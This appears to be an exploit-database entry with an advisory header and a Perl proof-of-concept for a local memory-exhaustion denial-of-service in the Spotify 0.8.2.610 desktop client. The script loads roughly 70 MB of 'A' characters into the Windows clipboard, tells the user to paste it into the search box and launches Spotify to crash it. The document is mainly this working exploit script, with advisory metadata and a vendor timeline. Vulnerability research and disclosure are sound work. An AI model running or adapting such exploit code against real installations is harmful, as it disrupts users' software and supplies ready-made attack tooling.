Spotify 0.8.2.610 (search func) Memory Exhaustion Exploit

2012.03.23
Risk: Low
Local: Yes
Remote: No
CVE: N/A
CWE: CWE-399

#!/usr/local/bin/perl # # Spotify 0.8.2.610 (search func) Memory Exhaustion Exploit # # # Vendor: Spotify Ltd # Product web page: http://www.spotify.com # Affected version: 0.8.2.610.g090a06f8 # # Summary: Think of Spotify as your new music collection. Your # library. Only this time your collection is vast: millions of # tracks and counting. Spotify comes in all shapes and sizes, # available for your PC, Mac, home audio system and mobile phone. # Wherever you go, your music follows you. # # Desc: The vulnerability is caused due to the Search box function # not checking the boundary of user input. This can be exploited to # cause a DoS due to memory exhaustion when inserting a long string # of bytes (~80mil B / 80 MB) into the Search field in the GUI. # # Tested on: Microsoft Windows XP Professional SP3 (EN) (32bit) # Microsoft Windows 7 Ultimate SP1 (EN) (64bit) # # Vulnerability discovered by Claes Spett # Coded by LiquidWorm # # Vendor status: # # [19.03.2012] Vulnerability discovered. # [22.03.2012] Vendor has some knowledge about the issue. # [23.03.2012] Public security advisory released. # # # Advisory ID: ZSL-2012-5082 # Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5082.php # # # 21.03.2012 # use Win32::Clipboard; $leepy = Win32::Clipboard(); print "\n[i] Clearing your Clipboard data...\n"; sleep 2; print "\n - Done!\n"; sleep 1; $leepy->Empty(); $tring = "\x41" x 70000000; $leepy->Set($tring); print "\n\n*----- Log In and just Paste \/ CTRL+V"; print " into the search box -----*\n\n"; system pause; print "\n\n[*] Starting Spotify\n"; sleep 1; system('start C:\\Docume~1\\%username%\Applic~1\\Spotify\\spotify.exe');

Referencje:

http://www.zeroscience.mk/en/vulnerabilities/ZSL-2012-5082.php
http://www.spotify.com


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